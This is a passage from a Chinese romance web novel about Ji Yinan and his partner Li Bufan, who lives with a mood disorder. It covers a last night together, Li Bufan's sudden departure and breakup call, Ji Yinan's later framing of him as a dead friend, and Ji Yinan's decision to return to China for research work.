“双方的家庭、事业,生活的柴米油盐,每一样都需要考虑。这几年和徐祁年在一起,我觉得我亏待了他,我让他跟着我吃苦,让他压力很大。” 喻修景垂下头,看着手里的玻璃杯,“我就忍不住想,是不是他本来可以过得更好,如果没有我在身边。” 这番话好像李不凡也很有共鸣,可能是因为喝了酒,他的脸微微发红,在无声之中竟然湿了眼眶。喻修景抬眼时瞥见,吓了一跳,很抱歉地问怎么了,李不凡用手背擦擦眼,说没事,就是生病而已。 季一南用掌心摸了摸李不凡的头发,听他继续和喻修景聊天。 很久没见的朋友之间不缺话题,从徐祁年谈到李不凡的某个印度同学,气氛才轻松了一些。 季一南又给空了的酒杯倒酒,想到夜深了,怕他们冷,转身去房间里抱了两床毯子。 回来时李不凡已经抱着抱枕半躺在沙发上,喻修景撑着手,也神色模糊。 季一南放下毯子,低声和喻修景说:“小景你去睡觉吧,客房里床单被子都是新换的,我们没用过。” 喻修景点点头,说谢谢一哥。 季一南先用毯子盖住了李不凡,再很轻地抱起来。喻修景已经走到房间门口,还是回了头,问他:“一哥,不凡的病这几年怎么样?” “看状态,状态好的时候就很好,状态差一点的时候可能会累一点,我是说他可能会累一点。” “哦……好,都那么多年了。” “我最开始就知道这是很难治愈的病。小景,有的话可能不应该由我来说,但是我觉得,很多事情可能不是你一个人能够处理的,不管是亲人还是伴侣,存在的意义不就是相互扶持么,谁都有好的时候不好的时候,徐祁年不是那种不能共苦的人,你也不要把他想得太脆弱。” 看喻修景站在原地,季一南想他可能想要自己想想,就说:“早点睡,我带他进房间了。” 季一南洗完澡,李不凡已经醒了,虽然神色还不太清明,但已经睁开了眼睛,躺在床沿上,也没有出声。季一南走过去坐下,他就抬手抱住他,呼出的热气贴在季一南的腰侧。 “下周是我毕业典礼,你会来吧。”像逗小猫一样,季一南用手贴着李不凡的下巴,轻轻挠了挠。 “嗯……来啊。”李不凡声音很慢。 “你知道晚上我看见你和小景聊天想到什么么,有一年学校晚自习停电,老师说电很快就修好了不让大家走,你俩坐在窗台边,也是这么聊。虽然我觉得你们性格差别挺大的,但又很聊得来。” 提到以前的事,李不凡眨着眼,想了一会儿,好像记忆中的那些片段还是很模糊,就说:“我想不起来了……” “很久之前了。”季一南搓了搓他后背。 李不凡侧过脸,小声问:“季一南,这么多年你有没有很累过?” “怎么想这个?我没有,在我这里,你的病不像是病,更像某种装着未知的盒子,”季一南想到傍晚在公寓外见到李不凡喂猫的那一刻,“我也不知道我打开下一个会遇到什么惊喜。” “那你很会安慰自己了……” “这不叫自我安慰,这就是事实。” “好好好。”李不凡翻了个身,趴回床上。 季一南以为他想睡了,也躺上床,关了灯。 黑暗里,他察觉李不凡的身体在微弱地抖,抬手抱过去,才摸到一脸热泪。 季一南想,从患病以来,李不凡大约有过很多自我厌弃的时刻。有时可能出自真心,有时也许是生理导致,并不是全部季一南都能感同身受。 说要对李不凡好,季一南也从来没有要求过自己要做到完全理解他。人和人本来就是不能理解的,他不想把自己充满压力的那一面让李不凡看到,只希望他能轻松一些。而他在旁边陪伴,不管李不凡到哪里,他都在他随时可以找得到的地方,只要他需要就会出现。状态不好就慢慢调整,状态好就一起去做一些好玩的事,季一南想时间就是这样度过的,如果一生都如此,他会格外幸福。 于是他像平常那样抱住李不凡,这次李不凡很快就转过身,搂住他一侧的手臂。 李不凡哭的时候很安静,好像眼泪是不受自己控制流出的。李不凡曾多次和他描述那种感觉,像身上有千斤重,他只能沉进暗无天日的海底。 但是这么多年季一南又发现,唯一可以控制的是吃药和他对李不凡的爱,他向李不凡表达他还在。 喻修景在这边待了两天,他拍戏很忙,平常没什么档期,匆匆忙忙又走了。 而几日后的毕业典礼安排在下午的草坪,那时气温高一些。据说校方原本打算在有空调的礼堂内举办,后来收到太多学生的意见,才保持了历届的传统方案。 毕竟是毕业典礼,即使不赋予再多意义,这也是很重要的一天。 李不凡对这天的在意程度,也远远超过季一南的想象。典礼的前一天,他似乎十分焦虑,从下午三点开始就准备起了晚餐。 这天李不凡做了他最不擅长,但季一南最爱吃的红烧鱼。先熬料汁再放入鱼,李不凡在厨房熬了两次,被呛得喘不过气,才做出稍微好一些的口味。 李不凡把筷子递给季一南时,他刚和学校里的教授打完电话。李不凡厨艺一向很差,在野外做做速食不会暴露,一到厨房就什么都能看出来。 季一南做好了不好吃的准备,尝到鱼肉才被惊艳:“真的很好吃,有我妈妈的感觉。小时候我特别爱吃这道菜,因为我妈其实也不太会做饭,这是她唯一拿手的,不管请什么阿姨来做都没有她的味道。” 李不凡长舒一口气,把菜谱发给季一南:“我就是照着这个做的。” 他低声补了一句:“以后你学。” 为了庆祝李不凡做好了一道菜,他拿出一瓶香槟。摇动香槟瓶时,李不凡看着季一南笑,季一南猜到他会做什么,没躲,在瓶盖崩开的一瞬间,甜腻的酒精洒了季一南一身。 他去抽纸,还没碰到衣服,就被李不凡拉手抓起来:“毕业典礼要跳舞的。” 季一南的手很湿,还沾染了某种属于香槟的甜腥味道,李不凡握上来时,体温将那些水蒸发了,两个人的掌心黏在一起,很难分开。 跳舞吗?这根本算不上一支舞,就连曲调也哼得破碎。季一南怀疑李不凡已经进入躁期了,他看起来飘飘然,好像沉在另一个季一南不了解的世界里快乐着。 季一南也想加入,于是胸膛之间的距离更近,四只脚开始跌跌撞撞,嘴唇错过又偶遇,轻轻地碰着。还是李不凡先认真地吻上去,用手圈住季一南的脖子,他就克制不住地狠狠亲下来。 今晚的吻有酒的香味,辣的甜的,季一南吮吸着,辗转品尝,弄出惹人脸红的水声。他抱住李不凡很瘦的腰,压着他一步步靠上墙,手掌忍不住搓着他的腰侧,很快就脱掉了他的衣服。 做的时候季一南和平常反差最大,他明明是个温和的人,好像李不凡说什么做什么都不会生气,唯独这种时候独断专横,要看李不凡爽到发疯,满足内心深处某种压抑。 李不凡的后背蹭着冰凉的墙,后脑垫着季一南的掌心,于是汗湿的头发也乱了,季一南贴在他耳边,手微微用力,低声和他说别s,抱起他往一旁的沙发走。 这一场做了个够本,季一南抽烟的时候李不凡还趴在沙发上抖,手指颤着来找季一南要烟。季一南没直接给他,自己吸了一口,把烟递到李不凡的唇边。 “去洗澡吗?”季一南问。 李不凡说好,坐起来,往季一南背上一趴,轻轻拍了拍他光裸的手臂,慢悠悠地说:“你带我去。” 喝了酒,他看起来有些困了,洗澡的时候整个人懒懒的,看上去有些沮丧。 晚餐时下了一点小雨,到这时雨却慢慢停了。 季一南吹干头发,远远看见李不凡坐在阳台上摆弄相机。等他走近了,李不凡转过身拉住他的手,忽然说:“我们去看摄影展吧,你知道 Thierry Lambert吗?是法国一个很有名的摄影师,最近他在办展,但我一直没时间去。” “现在吗?”季一南俯身,李不凡的手机屏幕上果然显示着购票的界面。 “有夜场的,”李不凡举了下手里的相机,“我们顺便去给你拍点毕业照。” “……现在吗?”虽然已经习惯了李不凡的临时起意,季一南还是没料到他们要这么突然地去做这样的事。 李不凡已经自顾自地站起来,走到房间里的衣柜前,翻翻找找拿出一件学士服。 “我记得这是你硕士毕业的时候穿的,”他拎起衣服的两个肩膀,“现在应该也合适。” 季一南带着点笑容,靠着墙看折腾的李不凡,慢慢嗯了一声。 李不凡只是瞥他一眼,就像躲避什么一样垂下了视线,把衣服塞进了他的怀里,“你别只是嗯,带上吧。” 季一南接过那件学士服,因为一直被压在衣柜底,太久没有翻出来,衣服上散发着一股陈旧的味道。他叠了两下,塞进日常背的黑色背包里。 摄影展离住的公寓有半小时车程,但季一南喝了酒,他们打了夜车,到达时也已经是夜场的最后一批观众。 展出的票只可以使用一次,检票员甚至好心提醒:“只剩半个小时了,你们可以明天再来,半小时逛不了什么。” 季一南想到李不凡刚才的话,既然是他期待已久的展出,看不尽兴当然会有遗憾,就说:“明天上午我可以陪你来,晚上我给师弟打个电话,让他帮我个忙去应付老师就好了。” 毕业典礼在下午,季一南本来被老师约走要去帮忙处理毕业生的材料。 李不凡知道季一南说到就会做到,他还是把取出来的票交给检票员,说:“没关系的,我们就今晚看。” 展厅内已经没什么人了,李不凡带着季一南在一幅幅照片中穿梭,好像早就想好了要去的地方。 他看了一眼时间,说今天我的运气可能一般,等到了长廊尽头的窗边,季一南才明白他的意思。 靠窗的墙上悬挂着一幅大尺寸的摄影作品,拍的是夜晚的雪山。照片的右上角是一轮圆月,圆月之下,被白雪覆盖的山峰平静地高耸着。最特别的是,这是整个展厅中唯一没有灯光照射的作品,因为此时此刻,月光从窗外斜铺过来,恰好符合画面中光线落下的角度,将这座雪山染得银装素裹,像把一片有尽头的银河从镜头拉入现实。 季一南怔住了,人是会被自然触动的,这一点他在无数次上山时就已深有体悟。 “这是央娜雪山的主峰卡瓦格博,”李不凡很浅地笑笑,“晚上下雨了,我还以为我们见不到月光了,没想到……好像我们的运气也没有我想象得那么差。” 他垂下眼,把相机拿出来挂在脖子上,“季一南,我给你拍毕业照吧。这么长时间以来我还没去过央娜雪山,每次要去都总是遇到特别的情况,我想和你一起去看一次。今天能看到这幅照片,我们一起拍张照片,就算去过了。 “而且还是在你毕业这天去的,是很特别的时间呢。” 季一南几乎没有拒绝的理由,他唯一不明白的是李不凡为什么总是回避他的视线,好像在这些话的背后他还有想说却没有说的。 “时间快到了,”李不凡这时才抬起脸,“我想和你一起拍一张照片。” 李不凡又强调了一次,季一南就很快速地脱掉了厚重的羽绒外套,换上薄薄的学士服。 真到要面对镜头的时候,季一南又有些紧张,在李不凡去找工作人员时,他把学士帽整理了许多次,又碍于附近没有镜子,不知道自己戴得是否端正。 李不凡回来了,他找了一个穿着工作服的女生,对方像是对摄影信手拈来,让他们靠近一点,准备开始拍照。 暖气让室内温度很高,季一南还是感受到李不凡靠近时的体温。那温度似乎只持续了短短几秒,季一南甚至没来得及反应,镜头的咔嚓声就连续地响了几次。 “特别好。”拍照的女生将相机递给他们,季一南也凑上去看。 对方没有拍到他们身后那幅照片的边沿,只从镜头里看,倒像是真的站在雪山下。李不凡的手从背后越过季一南,偷偷搭在他另一侧的肩膀上,比了一个俏皮的耶。 原来刚才李不凡还有一个这样的动作,季一南什么也没感觉到,此刻在照片中发现,只觉得李不凡实在是可爱。 他一下联想到很远的地方,或许几年之后,李不凡的状态慢慢好起来,即使年纪上去了,性格又还小,他们一起去很多地方,不止央娜雪山,再难见的风景,也总能见到。 第42章 离开摄影展,季一南换回了平常的衣服,本以为这个夜晚就此结束,李不凡却说还想要再走走。 凌晨的街道空无一人,但基于季一南在威斯林顿生活多年的经验,在这个国家安全一般的地方,一切时刻都应当警惕,因此他没有很松懈。 李不凡拉着他,先是在通宵营业的麦当劳买了两支甜筒,他们又去附近的公园,沿着江边的绿道散步。 江水对岸城市灯火闪烁,不算明亮了,但季一南还能认得出,再远一些就快到情人大桥了,他适时想起在李不凡的手机里看到的备忘:傍晚五点的情人大桥,他到底想要做什么呢? 如果是其他地点,季一南还会有所怀疑,比如是不是李方知和万玫又来骚扰他,比如他有什么工作,但那里是情人大桥,一个浪漫的地点,配上一个浪漫的时间。 沿路李不凡紧紧牵着季一南的手,有一瞬间,季一南在想他是不是也想要告白,他们一向很有默契,也许真的会想到一起去。 思及此,季一南忍不住看向身侧的李不凡,尽管他一直低着头,不知道在想什么。 走到全身都热起来,李不凡忽然说:“以后我还想继续做摄影师,最好是能办一个自己的摄影展。” “我觉得你这个愿望就快实现了。”季一南说。 李不凡摇摇头,很淡地笑笑:“也许吧,那你呢,你在学校里做研究,应该还会带很多学生吧,他们都来上你的课……” 仔细一想,李不凡可能是觉得这样的场景他从未见过,有些好奇:“我觉得你做老师也很合适,你肯定是那种会好好和学生讲话的老师。” “你对老师的要求很低啊。”季一南牵住李不凡的手。 他顺着李不凡提起的话往下想,也忍不住对自己以后的生活有一些假设。 “我倒是觉得,因为工作我不用离开学校,这件事更好一些。比起去外面工作,我还是更喜欢学校或者研究所的氛围。如果突然要离开待了这么多年的学校,我可能还会有些舍不得。” 李不凡对季一南的话感到意外,“我还以为你不在乎这些。” 季一南的视线扫过李不凡,路灯的光沿着他的脚步一点点熄灭了,又留下两道影子。“理智上不在乎,但其实还是在意的,我恋旧。” “那……以后你还会教很多学生,也许每年都有人要走,你每一个都舍不得吗?可是喜欢的学生来了一个,还会来下一个。”李不凡松开季一南的手,走向绿道边的栏杆,江水从脚下流走,仿佛不会再回头。 “学生是学生……”季一南总觉得李不凡的话有些奇怪,可又想不到到底是哪里奇怪。 他陪李不凡站在栏杆边,路灯昏暗,他只能看清近在眼前的李不凡。 “我也没有那么严重,不至于每个人要离开的时候都要难过。” 李不凡趴在栏杆上,江风把他的头发吹向一侧,他恰好偏过头,对季一南笑了下,似乎在说:我不信。 季一南不再辩解,看他这样只觉得可爱,俯下身在他嘴唇很轻地啄了一口。 “还想去哪里?”季一南低声问。 “就……”李不凡抬起脸,吻回季一南的嘴唇,“把这条路走完吧。” 小时候季一南总是觉得时间难熬,每一分每一秒都很长,长大后却觉得时间变得很快,绿道再长,也总有到头的时候。 打车回到公寓,天已经蒙蒙亮了。洗漱完躺上床,李不凡给季一南倒了一杯温水让他喝下,而后坐在床边,没有要睡一会儿的意思。 季一南想他可能是又到了睡不着觉的躁期,想再陪他一会儿,李不凡却忽然问:“很久很久之前,我们高中毕业的时候,你是怎么和我表白的?你可不可以再说一次给我听,我已经有点忘记了。” 忘记。 是啊,是人都会忘的,此时此刻被这样问到,连季一南也紧张得有些忘了。 他满心只有真的准备了要明天表白的事,不知道李不凡是不是猜到了,才会这样问。 “季一南,我要一模一样的。”李不凡强调。 于是季一南回忆道:“我当时没有想过自己能拿到留学的offer,已经做好和你分开很久,最后没有结果的准备了。” “我听到你们家在吵架,怕李方知和万玫又伤害你,所以就很傻地从阳台上翻过去。其实我很早之前就想这么试试,当时太慌,没想到直接就做了。” 季一南沿着自己的话,慢慢回想那天:“我当时看见你躺在床上,以为你是不舒服,没有想太多,因为心里有更重要的事。我其实很紧张,都没等你坐起来,可能也是觉得没办法直接看到你,怕自己什么都说不出来,所以才那么匆忙。” 听的时候李不凡一直很安静,等到季一南抬眼看他,才发现他也正看着自己,一双眼睛在昏暗的床头灯下显得有些亮,表情不好不坏,甚至呆呆的,好像很陌生又很感动。 “我当时说,我喜欢你,我不知道你会不会喜欢男生,但我喜欢你。” 尽管已经过去很久,季一南还是记得那特别的一天,他很笨,很莽撞,一腔热情又落了个空,甚至不明白李不凡后来抱住他,到底是什么意思,一边猜测一边不忍拒绝。 “你没给我答案,我就想……算了,本来我们也才刚刚成年,可能不是说这个事情的时候。”季一南的眼皮不受控制地往下沉,连李不凡也变成虚影,好像在很遥远的地方,在那个李不凡从小生活的房间,在那个李不凡因为生病不想见他、用来掩盖自己糟糕状态的被窝,在那个他鼓起勇气翻过的阳台。 在那个开满格桑花的香格里拉的夏天。 季一南神志恍惚,在彻底对身体失去控制之前,他想到最重要的一件事。 “李不凡,我喜欢你……你愿意做我男朋友吗?” 世界暗下去以前,季一南最后的感知,是直直落在脸颊上的一滴滚烫泪水。 闹钟响起时,季一南睁开了眼。 窗外天光大亮,他睡了很沉的一觉,大脑也没有什么不舒服,反而得到了很好的休息。 季一南翻找手机,却看见手机上贴着一张便签,上面是李不凡的字迹:毕业快乐。 时间已经是上午十一点,换好衣服吃个午餐,毕业典礼就要开始了。他会代表优秀毕业生上台发言,不能缺席。 季一南看了看身边平整的床铺,心里忽然有种不好的预感。 起身走进客厅,家里没什么特别大的变化,季一南却忽然不安起来。 他叫了几声李不凡,没听到回应,脑子很懵地推开那个属于李不凡的房间。 各种各样的户外运动装备,画板画架,所有这个房间里的东西都不见了,只留下一屋子充满颜料气味的尘埃,在洒满阳光的空气中飘飞。 季一南下意识拨通李不凡的号码,但已关机,无人接听。 他立刻联系房东,调取公寓门口的监控,看见大约在自己睡着以后,李不凡就带着很多行李离开了。 很多细节忽然涌上脑海,昨晚整整一夜,李不凡是不是已经做完自己想做的事。想和他一起看雪山是因为再也看不到了,想让他穿学士服是因为再也见不到了,走完整条绿道是不想夜晚就那样结束,要听他告白,也不是准备答应的意思,而是最后再听一次。 昨天的一切竟然充满告别的味道,当李不凡就在季一南面前时,他却丝毫没有察觉。 是因为病情又严重了吗?但为什么要走。 是觉得和季一南过烦了吗?那为什么要他告白。 季一南僵硬地坐在沙发上,不知道为什么自己的第一反应会是李不凡再也不会回来,好像这种念头一直在他心里存在着。也许他从来没有觉得李不凡真的会永远留在自己身边,他像鸟像风,停留片刻就已经很久。 那今晚五点情人大桥又是什么意思,季一南控制不住胡思乱想,可李不凡的电话还是打不通。 直到负责毕业典礼的人给季一南打电话,他才浑浑噩噩地洗漱换衣服,领带都打错两次。 学校的草坪今日装点得很漂亮,但季一南看什么都恍惚,只闻到刺鼻的花香。轮到他上台时,他看见眼前的摄像机才清醒一点。毕业典礼会放到学校的官方账号直播,说不定李不凡会看。 好在演讲稿提前准备了很久,季一南虽然说得没什么感情,却也完整地完成了。然后他跟随其他同学,按照顺序上台领取毕业证书,和和几位教授合影,接受校长的拨穗,再被漫天彩带淋了满头。 构想中此时此刻李不凡应该就站在不远的地方,举着相机看他。 下了领奖台,季一南就脱掉学士帽和衣服,塞给一个熟悉的同学,麻烦他帮自己还回去,转身就往学校的停车场跑。 既然李不凡写过时间地点,那一定是有意义的。 开车去情人大桥的路上,季一南又给李不凡打了几个电话,还是没有打通。季一南猜他早晨可能直接去了机场,现在说不定已经离自己几千几万公里,他要是真的想走,季一南又怎么追得上。 现在想来,昨天晚上他那么困,说不定也是有原因的,李不凡给他喝了一杯水,里面大概有安眠药,让他一夜都睡得很熟,没有被他搬东西的声音吵醒。 李不凡还真是狠,季一南连哭都不会哭,一路飚到情人大桥,整个人都毫无血色。 离五点还早,季一南把车停在附近,跑上情人大桥的人行道,去那天他们绑蝴蝶结的位置。 那里竟然真的还有一根银色的线,绑了一只蝴蝶结,飘飘荡荡在风中。 可是除了这条相似的线以外,季一南翻过所有写字的牌子,也什么都没找到。 冰淇淋车还开在大桥的桥头,谁都有可能路过买一支,再出于各种各样的原因把绳子留在这里,并不必然代表李不凡来过。 但季一南没有走,离五点还有两个小时,他就站在大桥边,看着阳光变暗,到天上落起雨来。 冬天的阴雨很冷,可是快要五点了,他不能走。雨水把手机屏幕弄得很难按,季一南拨起羽绒服外套下卫衣的帽子,撑在大桥的栏杆边。 这一次,李不凡居然主动给他打了电话。 “李不凡?为什么不接我电话……”为了保持情绪,即使没人看到,电话这头,季一南还是难堪地笑了笑,“你去哪里了,要我去接你吗?我毕业典礼都结束了,很快就可以到。” 沉默片刻,李不凡声音很低地说:“你到不了。” “我能的。” “我转机回国了。” 回国。 季一南想不出李不凡回国能去哪里。 “回国有什么事吗?要走多久。” “能别装傻了吗?” 季一南突然就被噎住。 “我觉得我们可能不适合一直这样在一起,季一南,你就留在那边,好好做你的青年教师,我要去游山玩水了。” “游哪里的山,玩哪里的水,怎么不可以带上我,你昨天还好好的。” “你和我说李方知卖了我的画挣的钱,其实是你自己挣的对不对?”李不凡打断他。 季一南只好承认:“是,但那又怎么了,我不想你再接触他们,我挣得不难。” “真的不难吗?还是只是你自己这么觉得。” “那你呢?分手是因为真的不喜欢我了吗?既然不喜欢我为什么不当面告诉我,为什么要一个人偷偷跑,你连见我都不敢。” 李不凡就不说话了。 “有什么事我们一起解决,你不要这样。” “解决不了,”再开口时,李不凡的嗓子变得沙哑,“一哥,我们在一起这么久,你了解我的,我从来没放下过自己的病,你可以觉得我是个正常人,你可以永远陪着我闹,但我呢?你被一个人单方面付出,和你为一个人付出是不一样的。” 雨落得很大,季一南抿了抿唇,握着栏杆的手收紧了。 “季一南,你现在觉得没什么问题,是因为你习惯这种生活了,从我们在一起开始我就这样,你没见过正常的恋爱是什么样的。” “我不要正常的恋爱,我要的是谈恋爱么?”季一南皱眉,“你生着病,一个人这样走了,你想过我什么感受没,你就喜欢折磨自己,是不是我总是表现得好像什么也不在乎,你就真觉得我不在乎啊。你拒绝我多少次我都无所谓,我知道你不是真心的,但你不能就这么走了。” 情绪激动时,季一南都忘记了雨有多冷,“你是不是觉得我忍过这一阵就好了,我好像没那么薄情寡义。” “你想骂我就骂吧,是我不对,但我已经想好了。可能我本来就挺自私的,你一开始就认错我了,我就是只想着自己。当年你跟我表白我没接受,也是因为我还很犹豫。这么多年都是你在照顾我,我从你的好里走不出来了。我说你不知道正常的恋爱是什么样的,也许我自己也不知道。 “我哪里都想去,什么都想尝试,我以为感情也是试试就可以了。我们的关系是我牵制了你,你也牵制了我,这样不健康。你好好工作,好好生活,去找一个更值得的对象……”李不凡顿了下,“别再想我了。” 季一南反驳道:“你能不能不要想象我的想法,我从来没有觉得累,我们还可以……” “我累了,行吗?”李不凡很轻地说,“我看到你总是照顾我的想法,照顾我的生活,我就很累了。” 季一南不知道该说什么,他对那段记忆的感受很模糊,模糊到记得最清晰的是雨声,很久以后才凭借本能地说:“你和我在一起的时候不开心吗?” “如果你想听实话,”李不凡说,“我不开心,我很痛苦。可是在你面前我不能痛苦,我要表演得我每天都很好,我演不下去了。季一南我累了。” 季一南沉默片刻,问了最后一个问题:“你为什么在手机上写今天傍晚五点情人大桥,是什么意思?” “你看到了?” 季一南听见电话那头一阵自然的电流声,紧接着是李不凡几乎哑到说不出来的声音:“是给你打这通电话的时间,这么重要的事,我不能忘了。” 屏幕重新亮了起来,通话被挂断,等季一南再打过去,那边又是始终如一的断线声,和连续的雨一样,淋了季一南满身。 第43章 “你在想你的朋友吗?” 夜风凉爽,吹得草坪上的草和树窸窸窣窣地动。 李不凡靠在野营椅上,仰着脸看季一南出神。 “嗯,”季一南点点头,“我和他认识很久了。” “后来呢?为什么他那天没来。” “我不知道,”季一南摇摇头,把手里的冰淇淋喂到李不凡嘴唇,“他那天扔下我自己走了,回国了。” “啊?扔下你自己走了?这也太不够朋友了。” “他应该有自己的苦衷。” 李不凡干脆拿过季一南不想吃了的冰淇淋继续吃,皱着眉说:“季一南你不能这样,你这个人就是太好了,什么都替别人想。” 季一南反而轻笑了下,承认道:“我那个朋友当时也这么说。” “停停停,你可别用他来比喻我,我不是这种人。” “你不是失忆了吗?怎么还这么肯定。” “失忆了又不是变异了,我觉得我的三观应该没变……”李不凡咽了咽,“吧。” “算了算了,还是继续说你朋友吧,后来呢,你见到他有没有打他一顿。” “怎么可能。”怎么可能舍得。 “而且后来我们只见过一面。”季一南淡淡地说。 “然后呢?” “然后啊……他死了。” 李不凡诧异地没有立刻说话,“你是……认真的么?” “是啊,他去世了,因为一次意外。当时一个科考队需要帮忙,他和你一样,会很多东西,就去帮他们测数据,没想到出了意外,去世了。” “对不起啊,我之前不知道……” “没关系,已经是很久之前的事情了。” 很久吗? 李不凡在心里算了算,季一南博士毕业也就两三年前的事吧。 他们还没接着往下聊,远处走来一个戴着眼镜穿着沙滩裤和花衬衣的,头发花白的老人。 “我好远就看到你,还以为自己认错了。”老人一上来,就拍了拍季一南的肩膀。 “老师,你怎么在这里?” “这个问题是我问你吧,哦,我想起来了,你是不是来参加论坛的,这论坛还是你老师推荐的你,他们本来安排好的嘉宾临时来不了嘛……”老人毫不生疏地拖过旁边的一把椅子,在季一南身边坐下来,“哎哟,我才度假回来,都把你的事情忘记了。” 季一南笑着摇摇头,拉过李不凡的手和他介绍道:“老师,这是我男朋友Jasper。” 又和李不凡说:“这是我大学一门课的老师,和我博士时候的导师很熟。” 两个人打完招呼,那老师想起什么,拿出手机和季一南说:“你有没有你博士毕业的时候作为优秀学生代表上台讲话的视频?我这里还存着一份,替你导师存的。” “老师您还是别……” “我没见过呢,我想看看。”李不凡靠过来。 “呐,我传给你,”老师笑着点手机,“我以前以为啊,Ian虽然平常不怎么喜欢讲话,但真要做什么汇报的时候都大大方方的,所以这种典礼也不怯场,没想到那天他还挺紧张的,看起来有点可爱啊。” “是吗?”李不凡笑,抬手搭着季一南的腰,“那我看看。” 把视频传好,老师站起来摆摆手,“我不打扰你们小情侣约会了,到我睡觉时间了。” “我能看吗?”李不凡没直接点开,先问。 季一南无奈笑笑:“可以,没什么。” 虽然想到那一天他就有些痛苦,但此刻那个让他痛苦的原因已经消失了,所以也就好了很多。 李不凡打开视频,镜头先摇晃了一阵,之后才对准站在领奖台上的季一南。 开场白简单直接,没什么废话,季一南发音标准,也很流畅,唯独脸色很差,好像没什么精神。 整场发言不到十分钟,李不凡对季一南最后的话印象深刻。 “我一直认为,学习的意义除了学习本身,还为了能够更好的生活。但从前,我从来没有弄懂什么样的生活才是好的,我对未来太过执着,以至于对当下有所遗忘,没有在意眼前的生活就已经是曾经希望的样子。正因为此,我错过了一些原本美好的人和事。 “人生中烦恼总是层出不穷,好像解决了一个困境后,又会迎来新的问题。但我只想抓住每一个阶段里最快乐的事物,尽量改变那些问题,用我朋友的话来说,大概是哪怕眼前的天空格外有限,我也想成为飞得最高的那阵风,获得自由的视角。 “今天在这里,我很荣幸能作为毕业生发言,对我来说,这更像是一次对我自己的总结。从这里毕业之后,我想我会有更多收获,有更丰满的人生。 “最后,我祝大家成风成雨,无所束缚。” 视频播放到最后,季一南很快就下了台。拿着手机的人又对准他的身影多拍了几秒,恰好拍到季一南脱下学士服和学士帽,急匆匆离开现场的背影。 李不凡指了指,问他:“你要去哪里啊?” 季一南垂着眼,好像透过这段视频,也回到了那一年的那一天。只是和视频里他本人的情绪有些相似,此刻的季一南也算不上轻松。但他说过自己失去了一个很重要的朋友,如果是想起这样的人,李不凡也能理解他的失落。 “去情人大桥。”季一南说。 李不凡有些惊讶,没想到这两件事就这样联系到一起,“你说是去看日落,我以为还会再晚一点。” “本来是的,但后面一切都和想象的不一样,那天下了好大的雨,我没带伞,回去以后就感冒了,断断续续烧了一个星期,后来又咳嗽了很久,差点没赶上提前进组的学生。”季一南语气还算轻松,像只是和李不凡分享一件很小的事。 他们聊了很久,连买冰淇淋的小店也要关闭了。 李不凡牵住季一南的手,玩儿一样轻轻揉捏着。灯一暗,这里就变得更安静,季一南连李不凡的心跳也能听见了。夏夜的晚风裹着空气中的热意,变成薄薄的汗水黏在他的皮肤上,他却并不反感,因为想到很多年前和李不凡在一起的那些夏天,他们也是这样,在湿度很高的空气里牵着手,或者坐在一起,说着各种各样的话。 “我一直相信万物有灵,一颗小草、一朵小花,他们都是这个世界的生灵,无时无刻不在和这个世界联系着。” 因为听到了熟悉的话,季一南忍不住侧目,视线落在李不凡的侧脸。即使没有光,季一南看他,还是觉得他在发光,发出那样温暖的、持续的光,像天上不会熄灭的星星。 “所以我觉得,哪怕人死了,只变成一抔土,那也是属于这个世界的一抔土。” “所以我要爱这个世界,我爱这个世界,就是在爱所有我爱的人。”季一南出神地呢喃着。 “学会抢答了,”李不凡笑,“今天你好像很想聊聊你的朋友,如果你还想说,我也愿意听。你说后来你们又见了一次,是怎么见到的?你找到他了吗?” “不算找到。”季一南摇摇头。 那天离开情人大桥以后,季一南生了一场很重的病。他先是发烧,只在家里自己吃了一点退烧药,反反复复发作几天没好,最后烧晕在床上,几个小时以后才自己醒过来。 他感染了肺炎,躺在病床上时联系了喻修景和徐祁年,可他们也没有李不凡的消息,他像是下定决心,要把与季一南相关的一切都排除在外。 季一南先去联系了李不凡的心理医生,但因为涉及患者隐私,医生完全拒绝对季一南透露李不凡的病史。季一南只好换更笨的办法,他都给李不凡发消息,尽管从来没有得到过他的回复。 和曾经预想过的生活不太一样,季一南的人生中忽然缺失了最重要的那块拼图。他常常去情人大桥边,从现在的公寓开过去的三十五公里,让季一南想到本科期间他无数次的来回,在车里的那些时间,会导致季一南产生短暂的错觉,好像李不凡还在他的终点等他。 虽然很多事情都变了,但桥边的冰淇淋店一直开着。季一南到了情人大桥附近到了又不敢上桥,只是偶尔买一支冰淇淋吃。 他详细规划了如何寻找李不凡的计划,主要围绕中国大陆展开。可是人海茫茫,看到满墙标记好的地点,季一南又觉得很是泄气。 他的确找不到他了。 季一南留在学校不到一年,转机发生在当年冬季的一次中外交流项目。来自香格里拉植物研究所的所长带着团队前来交流学习,季一南负责接待他们的工作。 都是国人,自然话题多一些。季一南一个人在国外这么多年,都有李不凡在身边,他突然离开以后,季一南才察觉自己和这里的环境相处得其实没有这么融洽,也有些想念国内的生活。 临走时,所长面露难堪,最终还是偷偷找季一南聊天,问他愿不愿意考虑回国发展。 “我知道,我们研究所的环境肯定是比不上你在这边的,我们愿意尽量给你最好的条件,但不管怎么比,可能还是会比你现在差一些。但我们很欣赏你的能力,非常希望你能加入我们。香格里拉是一个很好的地方,是我们学习植物的人的天堂。” 当天傍晚,季一南又开车去了情人大桥,买冰淇淋时,店家看他常来,好心告诉他:“我们要关店了。” “为什么?” “不怎么赚钱又很累,不想干了。你经常过来,就跟你说一声,下次别跑空。” 季一南拿着在这家店买的最后一支冰淇淋,走上了情人大桥。 今天天气晴朗,情人大桥上能看见江面夕阳,人也比平常多。季一南走在其中,只不过是一个普普通通的行人。 他安静地站在栏杆边吃完那支冰淇淋,用湿巾擦干净有些黏的手,给研究所的所长打去电话。 “您好,我是Ian,之前您和我说的事我考虑好了,我愿意去研究所。” 第44章 季一南回国的时候已经是来年的春天。 研究所里最近在传,有个国外回来的学者要空降进所里,大家纷纷猜测他的背景,说什么的都有,偏偏对年龄和外貌的认知非常统一:一定是一个头发花白的老爷爷吧。 季一南背着黑色背包到研究所的时候,所长还在开会。他坐在研究所大厅的沙发上看手机,那时正好是午饭时间,路过的人都纷纷侧目,忍不住问这是什么人。毕竟这里是研究所,很少对外开放参观。 安排接待他的是一个年轻的小姑娘,所长想尽快结束会议,交代得匆忙,就让她去给大厅坐着的男生端茶倒水,说对方叫季一南。 问清来人,女生给季一南拿来果盘,还沏了一壶茶。她坐在季一南身边,不知道和他聊些什么比较好,就先问:“你是来这边工作的吗?” 